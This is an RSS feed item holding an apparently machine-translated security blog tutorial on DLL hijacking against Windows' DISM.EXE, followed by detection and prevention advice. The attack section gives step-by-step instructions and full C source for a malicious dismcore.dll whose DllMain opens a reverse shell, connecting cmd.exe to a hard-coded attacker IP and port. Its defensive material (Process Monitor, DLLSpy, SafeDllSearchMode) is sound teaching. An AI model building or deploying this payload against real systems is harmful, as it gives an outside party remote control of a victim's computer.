<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	 xmlns:media="http://search.yahoo.com/mrss/" >

<channel>
	<title>holy &#8211; AnonyViet &#8211; English Version</title>
	<atom:link href="https://en.anonyviet.com/tag/holy/feed/" rel="self" type="application/rss+xml" />
	<link>https://en.anonyviet.com</link>
	<description>The most popular website for sharing information technology, computer networks, and security knowledge. Stay up to date with the hottest news and tips</description>
	<lastBuildDate>Fri, 07 Mar 2025 22:51:16 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=7.1.5</generator>

<image>
	<url>https://en.anonyviet.com/wp-content/uploads/2023/01/cropped-ico-logo-75x75-1.png</url>
	<title>holy &#8211; AnonyViet &#8211; English Version</title>
	<link>https://en.anonyviet.com</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>How to exploit the holy hole of Hijacking on Windows</title>
		<link>https://en.anonyviet.com/how-to-exploit-the-holy-hole-of-hijacking-on-windows/</link>
					<comments>https://en.anonyviet.com/how-to-exploit-the-holy-hole-of-hijacking-on-windows/#respond</comments>
		
		<dc:creator><![CDATA[AnonyViet]]></dc:creator>
		<pubDate>Fri, 07 Mar 2025 22:51:16 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[Hijacking]]></category>
		<category><![CDATA[hole]]></category>
		<category><![CDATA[holy]]></category>
		<category><![CDATA[Windows]]></category>
		<guid isPermaLink="false">https://en.anonyviet.com/?p=18438</guid>

					<description><![CDATA[Dll hijacking &#8211; The name sounds somewhat mysterious, but it is an interesting attack technique that anyone who cares about security wants to explore. On the Windows operating system, the programs depend a lot on the DLL file (Dynamic Link Library) to operate smoothly. But if a cunning hacker replaces the original DLL with a [&#8230;]]]></description>
										<content:encoded><![CDATA[
<div id="ftwp-postcontent">
<p><strong>Dll hijacking</strong> &#8211; The name sounds somewhat mysterious, but it is an interesting attack technique that anyone who cares about security wants to explore. On the Windows operating system, the programs depend a lot on the DLL file (Dynamic Link Library) to operate smoothly. But if a cunning hacker replaces the original DLL with a &#8220;toxic&#8221; version, what will happen?</p>
<div align="center">
<table class="aligncenter" style="background-color: #c0c0c0; border-collapse: collapse; width: 59.9985%;">&#13;</p>
<tbody>&#13;</p>
<tr>&#13;</p>
<td style="width: 100%; text-align: center;">&#13;<br />
                        <span style="font-size: 12pt;">&#13;<br />
                            <strong>Join the channel <span style="color: #0000ff;">Telegram</span> belong to <span style="color: #008080;">Anonyviet</span> 👉 <span style="text-decoration: underline;"><a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Ft.me%2Fanonyvietoffical" target="_blank" class="local-link">Link</a></span>  👈</strong>&#13;<br />
                        </span>&#13;
                    </td>
<p>&#13;<br />
                </tr>
<p>&#13;<br />
            </tbody>
<p>&#13;<br />
        </table>
</p></div>
<p><strong>Important note:</strong> This article only serves the purpose of learning and research. Anonyviet does not encourage any illegal behavior, and you need to be responsible for your actions!</p>
<h2 id="ftoc-dll-hijacking-la-gi" class="ftwp-heading"><strong>What is Dll Hijacking?</strong></h2>
<p>DLL Hijacking is a gap technique when the program does not strictly control the DLL file. When an application like DISM.EXE (Windows system management tool) runs, it will search for the DLL needed in a series of folders in the order of priority.</p>
<p>If the hacker puts a fake DLL in the directory that the program checks before coming to the Orthodox folder (such as System32), the application will &#8220;innocent&#8221; download malware instead of the original DLL. This is the &#8220;gap&#8221; that security experts &#8211; or hackers &#8211; can take advantage.</p>
<figure id="attachment_82303" aria-describedby="caption-attachment-82303" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82303 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-1.jpg" alt="What is Dll Hijacking?" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 12" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-1.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-1-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82303" class="wp-caption-text">What is Dll Hijacking?</figcaption></figure>
<h2 id="ftoc-tai-sao-dism-exe-la-muc-tieu-ly-tuong" class="ftwp-heading"><strong>Why is dism.exe an ideal goal?</strong></h2>
<p>DISM.EXE is a built -in tool in Windows, usually located in C: \ Windows \ System32. Because of its popularity and role in managing the system, DISM.EXE became an attractive &#8220;prey&#8221; to test the DLL Hijacking. Moreover, the way Windows search DLL is sometimes lacking, opening up opportunities for sophisticated attacks.</p>
<h2 id="ftoc-huong-dan-khai-thac-dll-hijacking-voi-process-monitor" class="ftwp-heading"><strong>Guide to exploit dll hijacking with process monitor</strong></h2>
<p>To exploit this gap, we need a process monitor tool from Sysinternals. This is a &#8220;powerful assistant&#8221; to help you track how the system interacts with DLL files. Here are the detailed steps:</p>
<h3 id="ftoc-buoc-1-chuan-bi-moi-truong-thu-nghiem" class="ftwp-heading"><strong>Step 1: Prepare the testing environment</strong></h3>
<figure id="attachment_82304" aria-describedby="caption-attachment-82304" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82304 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-2.jpg" alt="Download Process Monitor" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 13" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-2.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-2-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82304" class="wp-caption-text">Download Process Monitor</figcaption></figure>
<ul>
<li>To be safe, use VirtualBox or <a target="_blank" href="https://en.anonyviet.com/next-link?url=https%3A%2F%2Fanonyviet.com%2Fcach-tai-vmware-workstation-pro-va-fusion-pro%2F" class="local-link">Vmware</a> Instead of trying directly on the main machine.</li>
<li>Select the goal: Here, I choose Dism.exe, but you can apply this method to any program.</li>
</ul>
<h3 id="ftoc-buoc-2-theo-doi-hanh-vi-cua-dism-exe" class="ftwp-heading"><strong>Step 2: Monitor the behavior of dism.exe</strong></h3>
<p>Open Process Monitor, you will see a series of system events recorded. Don&#39;t panic! Set the filter to focus:</p>
<ul>
<li>Press <strong>Ctrl + L</strong> (or go to Filter> Filter).</li>
<li>Add conditions: <strong>Process Name &#8211; IS &#8211; DISM.EXE &#8211; Include</strong> and <strong>Path &#8211; Contains</strong><br /><strong>&#8211; .dll &#8211; Include</strong></li>
</ul>
<figure id="attachment_82305" aria-describedby="caption-attachment-82305" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82305 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-3.jpg" alt="Add conditions" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 14" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-3.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-3-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82305" class="wp-caption-text">Add conditions</figcaption></figure>
<ul>
<li>Press <strong>Add</strong> Already <strong>OK</strong>. Now Process Monitor only shows activities related to DISM.EXE and DLL.</li>
</ul>
<h3 id="ftoc-buoc-3-chay-dism-exe-va-quan-sat" class="ftwp-heading"><strong>Step 3: Run Dism.exe and observe</strong></h3>
<ul>
<li>Open PowerShell, type<strong> C: \ Windows \ System32 \ DISM.EXE</strong> and click Enter.</li>
<li>Back to Process Monitor, you will see the list of DLLs that Dism.exe try to download.</li>
</ul>
<figure id="attachment_82306" aria-describedby="caption-attachment-82306" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82306 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-4.jpg" alt="List of DLLs that DISM.EXE tries to download" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 15" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-4.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-4-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82306" class="wp-caption-text">List of DLLs that DISM.EXE tries to download</figcaption></figure>
<ul>
<li>If the result column displays &#8220;<strong>Name not found</strong>It is a sign that the program can be exploited DLL Hijacking.</li>
</ul>
<p>For example, I discovered the file <strong>C: \ Windows \ System32 \ Dismcore.dll</strong> Can be exploited.</p>
<figure id="attachment_82307" aria-describedby="caption-attachment-82307" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82307 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-5.jpg" alt="Program signs can be exploited DLL Hijacking" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 16" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-5.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-5-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82307" class="wp-caption-text">Program signs can be exploited DLL Hijacking</figcaption></figure>
<h3 id="ftoc-buoc-4-tao-dll-gia-mao" class="ftwp-heading"><strong>Step 4: Create fake DLL</strong></h3>
<ul>
<li>Copy dism.exe to the %Temp %folder.</li>
</ul>
<figure id="attachment_82308" aria-describedby="caption-attachment-82308" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82308 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-6.jpg" alt="Copy dism.exe into the %temp %folder" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 17" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-6.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-6-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82308" class="wp-caption-text">Copy dism.exe into the %temp %folder</figcaption></figure>
<ul>
<li>Create a toxic dismcore.dll file. Here I created a Payload Reverse Shell called DISMCORE.CPP and translated into Dismcore.dll file with Visual Studio then copied it to the % Temp % directory and ran the dism.exe file again</li>
</ul>
<p><code>#define REVERSEIP "193.161.193.99" #địa chỉ ip máy hacker</code><br /><code>#define REVERSEPORT 52543 #port máy hacker</code></p>
<p><code>#include <winsock2.h/></code><br /><code>#include <stdio.h/></code></p>
<p><code>#pragma comment(lib,"ws2_32")</code></p>
<p><code>WSADATA wsaData;</code><br /><code>SOCKET Winsock; </code><br /><code>SOCKET Sock; </code><br /><code>struct sockaddr_in hax;</code></p>
<p><code>STARTUPINFO ini_processo;</code><br /><code>PROCESS_INFORMATION processo_info;</code></p>
<p><code>BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)</code><br /><code>{ </code><br /><code>WSAStartup(MAKEWORD(2,2), &amp;wsaData);</code><br /><code>Winsock=WSASocket(AF_INET,SOCK_STREAM,IPPROTO_TCP,NULL,(unsigned int)NULL,(unsigned int)NULL);</code></p>
<p><code>hax.sin_family = AF_INET; </code><br /><code>hax.sin_port = htons(REVERSEPORT);</code><br /><code>hax.sin_addr.s_addr = inet_addr(REVERSEIP);</code></p>
<p><code>WSAConnect(Winsock,(SOCKADDR*)&amp;hax,sizeof(hax),NULL,NULL,NULL,NULL);</code></p>
<p><code>memset(&amp;ini_processo,0,sizeof(ini_processo));</code><br /><code>ini_processo.cb=sizeof(ini_processo); </code><br /><code>ini_processo.dwFlags=STARTF_USESTDHANDLES; </code><br /><code>ini_processo.hStdInput = ini_processo.hStdOutput = ini_processo.hStdError = (HANDLE)Winsock;</code></p>
<p><code>CreateProcess(NULL,"cmd.exe",NULL,NULL,TRUE,0,NULL,NULL,&amp;ini_processo,&amp;processo_info); </code><br /><code>return TRUE;</code><br /><code>}</code></p>
<figure id="attachment_82309" aria-describedby="caption-attachment-82309" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82309 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-7.jpg" alt="Create a toxic dismcore.dll file" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 18" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-7.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-7-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82309" class="wp-caption-text">Create a toxic dismcore.dll file</figcaption></figure>
<h3 id="ftoc-buoc-5-kiem-tra-ket-qua" class="ftwp-heading"><strong>Step 5: Check the results</strong></h3>
<p>Run Dism.exe from %Temp %. If successful, a Reverse Shell connection will be sent to IP and port you have defined. Hackers can now control the machine remote!</p>
<h2 id="ftoc-cach-phat-hien-va-phong-chong-dll-hijacking" class="ftwp-heading"><strong>How to detect and prevent dll hijacking</strong></h2>
<p>Understanding how to exploit is one thing, but protecting the system from DLL Hijacking is another challenge. Here&#39;s how to identify and prevent:</p>
<h3 id="ftoc-cach-phat-hien-dll-hijacking" class="ftwp-heading"><strong>How to detect dll hijacking</strong></h3>
<h4 id="ftoc-1-kham-pha-bang-process-monitor" class="ftwp-heading"><strong>1. Explore by Process Monitor</strong></h4>
<p>This is an effective tool to track the DLL download program: Observe the application&#39;s operation and search for the &#8220;name not found&#8221; line in the result column, when it tries to take DLL from non -security positions (such as the directory is in use or outside the System32).</p>
<p>If the DLL search application in places is susceptible to the bad guy who inserts a fake file before going to the standard folder, which is a potential sign.</p>
<figure id="attachment_82310" aria-describedby="caption-attachment-82310" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82310 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-8.jpg" alt="How to detect dll hijacking" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 19" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-8.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-8-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82310" class="wp-caption-text">How to detect dll hijacking</figcaption></figure>
<h4 id="ftoc-2-tan-dung-dllspy" class="ftwp-heading"><strong>2. Take advantage of DLLSPY</strong></h4>
<p><a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fgithub.com%2Fcyberark%2FDLLSpy" target="_blank" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Dllspy</a> Is a compact, specialized solution to detect the risk of dll hijacking:</p>
<p><strong>How to do it:</strong></p>
<ol>
<li>Start DLLSPY on the computer.</li>
<li>The tool will review the running processes, checking how they search DLL.</li>
<li>DLLSPY offers a list of applications that may be attacked if they prioritize DLL from unreliable folders (such as personal directory or abnormal paths).</li>
</ol>
<p><strong>Strengths:</strong> DLLSPY automates the analysis, helping to quickly indicate vulnerable software without manual manipulation as with Process Monitor.</p>
<p>For example, when checking DISM.EXE, DLLSPY may detect whether it looks for dismcore.dll outside the system32.</p>
<h4 id="ftoc-3-kiem-tra-trinh-tu-tai-dll-qua-dependency-walker" class="ftwp-heading"><strong>3. Check the DLL download sequence via Dependency Walker</strong></h4>
<p>Download <a target="_blank" href="https://en.anonyviet.com/next-link/?url=https%3A%2F%2Fwww.dependencywalker.com%2F" target="_blank" rel="noopener external nofollow" class="ext-link" onclick="this.target='_blank';">Dependency Walker</a> (Free) To consider the DLL that the software needs to use.<br />Run the application in this tool, then observe the DLL list and the loading path. If DLL is found to be taken from an unofficial place, it is a warning signal.</p>
<h4 id="ftoc-4-luu-y-dau-hieu-bat-thuong" class="ftwp-heading"><strong>4.</strong></h4>
<ul>
<li>When a familiar software (such as dism.exe) works strange (displaying strange messages or having errors), it is likely that DLL has been replaced.</li>
<li>Use Task Manager or Process Explorer to check the related processes and verify the file origin.</li>
</ul>
<h3 id="ftoc-nhung-bien-phap-ngan-ngua-lo-hong-dll-hijacking" class="ftwp-heading"><strong>Measures to prevent DLL hole Hijacking</strong></h3>
<h4 id="ftoc-1-gioi-han-quyen-truy-cap-thu-muc" class="ftwp-heading"><strong>1. Limit access to folders</strong></h4>
<ul>
<li>Make sure that only administrators are allowed to record data in important folders such as C: \ Windows \ System32.</li>
<li>Avoid launching applications from unsafe places (for example: C: \ Downloads), because the attacker can place fake DLL there.</li>
</ul>
<figure id="attachment_82311" aria-describedby="caption-attachment-82311" style="width: 600px" class="wp-caption aligncenter"><img loading="lazy" decoding="async" class="wp-image-82311 size-full" src="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-9.jpg" alt="Measures to prevent DLL hole Hijacking" width="600" height="400" title="How to exploit the holy hole of Hijacking on Windows 20" srcset="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-9.jpg 600w, https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking-9-300x200.jpg 300w" sizes="auto, (max-width: 600px) 100vw, 600px"/><figcaption id="caption-attachment-82311" class="wp-caption-text">Measures to prevent DLL hole Hijacking</figcaption></figure>
<h4 id="ftoc-2-ap-dung-duong-dan-co-dinh-trong-lap-trinh" class="ftwp-heading"><strong>2. Apply fixed path in programming</strong></h4>
<p>If you develop the software, configure the program to call DLL with a clear link (like C: \ Windows \ System32 \ Dismcore.dll), instead of letting it freely search.</p>
<h4 id="ftoc-3-bat-che-do-safedllsearchmode" class="ftwp-heading"><strong>3. Turn on Safedllsearchmode mode</strong></h4>
<p>Check and set the SafedllsearchMode value in the Registry (at <strong>Hkey_local_machine \ System \ CurrentControlset \ Control \ Session Manager</strong>) into 1, to prioritize the first system folders.</p>
<h4 id="ftoc-4-trien-khai-cong-cu-bao-ve" class="ftwp-heading"><strong>4. Deploying protection tools</strong></h4>
<p>Use anti -virus or anti -malicious software (such as MalwareStes, Kaspersky, &#8230;) to identify and prevent dangerous DLLs promptly.</p>
<h2 id="ftoc-ket-luan" class="ftwp-heading"><strong>Conclude</strong></h2>
<p><strong>Dll hijacking</strong> Not only is an attack technique but also a warning about the importance of software security. With tools like Process Monitor, you can both exploit and prevent this hole effectively. The world of security is still countless interesting things waiting for you to explore. Start today, turn your knowledge into strength and always be careful in every step!</p>
</div>
]]></content:encoded>
					
					<wfw:commentRss>https://en.anonyviet.com/how-to-exploit-the-holy-hole-of-hijacking-on-windows/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<media:content url="https://anonyviet.com/wp-content/uploads/2025/03/dll-hijacking.jpg" medium="image"></media:content>
	</item>
	</channel>
</rss>
